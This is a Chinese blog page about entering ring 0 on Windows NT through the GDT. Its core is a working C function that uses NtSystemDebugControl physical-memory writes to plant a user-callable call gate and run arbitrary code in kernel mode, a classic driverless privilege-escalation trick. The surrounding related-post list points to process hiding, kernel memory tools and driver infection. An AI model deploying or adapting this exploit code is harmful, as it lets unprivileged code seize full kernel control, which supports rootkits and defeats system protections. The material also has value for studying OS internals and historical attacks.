利用GDT进入RING0

让程序进入ring0级执行 在保护模式下,ring0有至高无上的权限,他一直是很多黑客程序员追求的目标,在NT平台上,MS对系统表格作了保护,不能在象win9x那样,去直接修改系统表格,但是还是有不少办法能够进入ring0的,例如,在国内,最早sinister利用编写驱动程序的方法进入ring0,这也是最通用的方法了,紧跟着WebCrazy又使用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来随意进 阅读详情
BOOL CallRing0_NtSystemDebugControl_GDT(PVOID pvRing0FuncAddr, PVOID pParam)
{ 
    PLDT_DESCRIPTOR pLDTDescriptor;
    GDTR gdtr;
    WORD CallgateAddr[3];
    WORD wGDTIndex = 1;
    ULONG nRetLength;
    PBYTE GDT_buff=NULL;
    BOOL  bRet = FALSE;   
   
    __try
    {
        // Initial the NtSystemDebugControl function
        if( ! InitialNtSystemDebugControl() ) __leave;
       
        // Get the gdt
        _asm Sgdt [gdtr];
        GDT_buff = (PBYTE) malloc(gdtr.wGDTLimit);
        if( GDT_buff == NULL ) __leave;
        nRetLength = ReadPhysicalMEM(
            gdtr.dwGDTBase,
            GDT_buff,
            gdtr.wGDTLimit);
        if( nRetLength != gdtr.wGDTLimit ) __leave;
       
        // Skip the null descriptor
        pLDTDescriptor = (PLDT_DESCRIPTOR)(GDT_buff + 8);
       
        // Search for a free GDT descriptor
        for (wGDTIndex = 1; wGDTIndex < (gdtr.wGDTLimit / 8); wGDTIndex++)
        {
            if (pLDTDescriptor->Type == 0    &&
                pLDTDescriptor->System == 0  &&
                pLDTDescriptor->DPL == 0      &&
                pLDTDescriptor->Present == 0)
            {
                // Found one !
                // Now we need to transform this descriptor into a callgate.
                // Note that we're using selector 0x28 since it corresponds
                // to a ring 0 segment which spans the entire linear address
                // space of the processor (0-4GB).
                PCALLGATE_DESCRIPTOR pCallgate;
                pCallgate = (PCALLGATE_DESCRIPTOR) pLDTDescriptor;
                pCallgate->Offset_0_15 = LOWORD(pvRing0FuncAddr);
                pCallgate->Selector = 0x08;
                pCallgate->ParamCount = 0;
                pCallgate->Unused = 0;
                pCallgate->Type = 0xc;
                pCallgate->System = 0;
                pCallgate->DPL = 3;
                pCallgate->Present = 1;
                pCallgate->Offset_16_31 = HIWORD(pvRing0FuncAddr);
               
                // Flush the gdt
                nRetLength = WritePhysicalMEM(
                    gdtr.dwGDTBase,
                    GDT_buff,
                    gdtr.wGDTLimit);
                if( nRetLength != gdtr.wGDTLimit ) __leave;



                // Prepare the far call parameters
                CallgateAddr[0] = 0x0;
                CallgateAddr[1] = 0x0;
                CallgateAddr[2] = (wGDTIndex << 3) | 3;

                // Please fasten your seat belts!
                // We're about to make a hyperspace jump into RING 0.
                _asm push pParam;
                _asm Call FWORD PTR [CallgateAddr];

                // We have made it !
                // Now free the GDT descriptor
                memset(pLDTDescriptor, 0, 8);
                nRetLength = WritePhysicalMEM(
                    gdtr.dwGDTBase,
                    GDT_buff,
                    gdtr.wGDTLimit);
                if( nRetLength != gdtr.wGDTLimit ) __leave;

                // Our journey was successful. Seeya.
                bRet = TRUE;
                __leave;
            }
            // Advance to the next GDT descriptor
            pLDTDescriptor++;
        }
  }
  __finally
  {
     FreeNtSystemDebugControl();

     if( GDT_buff )
         free(GDT_buff);
     return bRet;
  }
} 
易语言源码易语言反外挂源码.rar 立即下载

相关推荐

易语言源码易语言内核读写内存源码.rar

易语言源码易语言内核读写内存源码.rar

(转载)对Native API NtSystemDebugControl的分析

对Native API NtSystemDebugControl的分析转自:http://www.xfocus.net创建时间:2004-08-05文章属性:原创文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)对Native API NtSystemDebugControl的分析作  者:于旸邮  件:tombkeeper[0x40]nsfocus[0x2e]

Kendiv's Box 2916

易语言修复工具

可以修复易语言源码错误!源码损坏打不开都能用这个修复,修复完会生成一个备份

VB中通过NtSystemDebugControl访问内核空间

Option ExplicitPrivate Declare Function AdjustTokenPrivileges _Lib "advapi32.dll" (ByVal TokenHandle As Long, _ByVal DisableAllPriv As Long, _ByRef NewState As TOKEN_PRIVILEGES, _ByVal BufferLength...

資料為我做事 242

易语言无驱动进入ring0

易语言无驱动进入ring0源码系统结构:读取cr0,操作数据,写物理内存,读物理内存,查看字节集,提升进程权限,查看字节集2,到十六进制文本,RtlAdjustPrivilege,NtSystemDebugControl,SetProcessAffinityMask,

易语言隐藏进程模块

易语言隐藏进程模块源码 系统结构:隐藏进程,用保护型打开进程,提升进程权限,写物理内存,读物理内存,取进程EProcess,十六文本至长整数,取字节集指针_,NtSystemDebugControl,取自进程ID,关闭系

驱动中获取PsActiveProcessHead变量地址的五种方法

PsActiveProcessHead的定义: 在windows系统中,所有的活动进程都是连在一起的,构成一个双链表,表头是全局变量PsActiveProcessHead,当一个进程被创建时,其ActiveProcessList域将被作为节点加入到此链表中;当进程被删除时,则从此链表中移除,如果windows需要枚举所有的进程,直接操纵此链表即可。 方法一:从Kd...

weixin_33949359的博客 302

易语言NTAPI进程操纵的代码

今天小编就为大家分享一篇关于易语言NTAPI进程操纵的代码,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧

利用NtSystemDebugControl进入Ring0的源代码

Sorry,2004年的东东现在才发,呵呵!/** Discovered and coded by randnut Jan 25, 2004* I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002*/#include #include typedef int NTSTATUS;typedef DWORD

2088

使用广播星历进行 GPS 卫星位置的计算

目录1.计算卫星运动的平均角速度 n2.计算观测瞬间卫星的近地点角3.计算偏近点角4.计算真近点角 f5.计算升交角距 6.计算摄动改正项7.进行摄动改正 8.计算卫星在轨道面坐标系中的位置9.计算观测瞬间升交点的经度 L10.计算卫星在瞬时地球坐标系中的位置11.计算卫星在协议地球坐标系中的位置使用广播星历进行GPS卫星位置的计算的详细步骤如下:关于在广播星历中各参数的分布情况可以参考下图:首先根据广播星历中给出的参数 计算参考时刻(TOE) 的平均角速度 式中,GM为万有引力常数 G 与地球总质量

qq_43381998的博客 5569

滤波算法-呼吸心跳信号检测方法(四)

呼吸心跳信号检测系列文章:信号滤波处理

yjh_2019的博客 6269

总结进入RING0的方法

关于进入RING0层的方法,大家一定听说过不少,我在复习保护模式编程中将一些进RING0的方法;总结了一下,包括调用门,任务门,中断门,陷阱门等,这些方法都是直接利用IA32的方法,所以和操作系统应该没有多大关系,当然由于NT内核对GDT,IDT,的保护所以我们不能用这些方法,不过如果一旦突破了NT的保护,那么所有的方法就都可以使用了,其他的还有SEH等方法,我在前面的文章中也有介绍。 ---

1558

大模型推理常见采样策略:Top-k, Top-p, Temperature, Beam Search

大模型推理采样策略,举例通俗易懂汇总介绍

qq_43243579的博客 2万+

浅谈NT下Ring3无驱进入Ring0的方法

<br />浅谈NT下Ring3无驱进入Ring0的方法<br />关键字:NT,Ring0,无驱<br /> <br />(测试环境:Windows 2000 SP4,Windows XP SP2.<br />Windows 2003 未测试)<br /> <br />在NT下无驱进入Ring0是一个老生常谈的方法了,网上也有一些C代码的例子,我之所以用汇编重写是因为上次在<br />[原创/探讨]Windows 核心编程研究系列之一(改变进程 PTE)<br />的帖子中自己没有实验成功(其实已经成功了

ken的专栏 936

Apple 网页 SRP 登录系列文章(四):Hashcash 工作量证明与完整登录流程

本文是Apple SRP登录系列文章的收官之作,重点解析了Apple独有的Hashcash工作量证明机制并展示了完整的登录流程实现。文章详细介绍了Hashcash的安全目的、格式标准、计算核心算法及难度评估方法,特别提供了Python实现代码。同时还讲解了如何动态获取服务器Hashcash参数以及建立容错机制。最后呈现了完整的Apple SRP登录主函数架构,为开发者提供了从理论到实践的全面指导。全文通过代码示例和流程分析,系统性地阐述了Apple安全登录机制的技术细节。

Sayid_Des的专栏 629

CodeBuddy 接入 MCP,一键生成网站!

2024 年 11 月,Anthropic 公司搞了个挺有意思的新玩意 - Model Context Protocol(模型上下文协议)简称为 MCP 协议。简单来说,它就是给 AI 和各类工具数据之间搭了个标准化的”桥梁”,让开发者不用再为对接问题头疼了。mcp.so如下图所示,这是 mcp.so 网站中的 MCP Server。使用百度/高德地图分析旅线计算时间接 Puppeteer 自动操作网页使用 Github/Gitlab 让大模型接管代码仓库。

悟空聊架构的专栏 1946

RING 3 无驱动进入RING 0

作 者: hljleo时 间: 2008-06-02,18:52链 接: http://bbs.pediy.com/showthread.php?t=65906可能这些已经没有什么,但对俺菜鸟来说学习一下应该还可以的。MY BLOG:http://hi.baidu.com/hljleoMY QQ:554920269下面就是RING 3 无驱动怎么进入RING 0的知识要点1 通过工作区//Devi

1124

VH6501实战:手把手教你用CANoe脚本精准触发CAN总线干扰(附避坑点)

本文详细介绍了使用VH6501和CANoe脚本精准触发CAN总线干扰的实战技巧,包括触发位置控制、ValidityMask配置和干扰序列设置等关键步骤。通过具体代码示例和常见问题排查指南,帮助工程师避开实际应用中的常见陷阱,提升CAN总线干扰测试的准确性和效率。

weixin_33709219的博客 370

Windows NT/2000/XP下不用驱动的Ring0代码实现

大家知道,Windows NT/2000为实现其可靠性,严格将系统划分为内核模式与用户模式,在i386系统中分别对应CPU的Ring0与Ring3级别。Ring0下,可以执行特权级指令,对任何I/O设备都有访问权等等。要实现从用户态进入核心态,即从Ring 3进入Ring 0必须借助CPU的某种门机制,如中断门、调用门等。而Windows NT/2000提供用户态执行系统服务(Ring 0例程)的...

weixin_34253126的博客 108

MacBook Air老本重装系统

手里的这个本子型号是A1466,cpu i5,4G内存,硬盘ssd 120G。 重装系统可以在原系统上升级到更新版本,或者用U盘安装。 先确定,这个本子可以安装什么系统。 最权威的信息当然是apple的官网,地址:https://support.apple.com/zh-cn/HT211683 在“检查兼容性”中,可以依次检查每个系统兼容的硬件型号。Mojave是A1466能安装的最高版本。 确认兼容性后,下一步就是下载安装文件。还是这个页面稍下面一点可以找到。 这里告诉用户文件可以在什

bigwood99的博客 2万+

智能家居系统设计:基于MATLAB的智能家居系统设计和仿真,包括智能家居控制、家庭能源管理和家庭安全监控

基于 MATLAB 的智能家居系统设计方法可以有效地解决各类智能家居问题。

走向CTO的路上... 1775

[转载]Windows NT/2000/XP下不用驱动的Ring0代码实现

WindowsNT/2000/XP下不用驱动的Ring0代码实现 WebCrazy(http://webcrazy.yeah.net/) 大家知道,WindowsNT/2000为实现其可靠性,严格将系统划分为内核模式与用户模式,在i386系统中分别对应CPU的Ring0与Ring3级别。Ring0下,可以...

weixin_33682790的博客 220

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

上一篇: 利用NtSystemDebugControl进入Ring0的源代码
下一篇: 又见感染驱动文件和驱动文件感染新思路
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值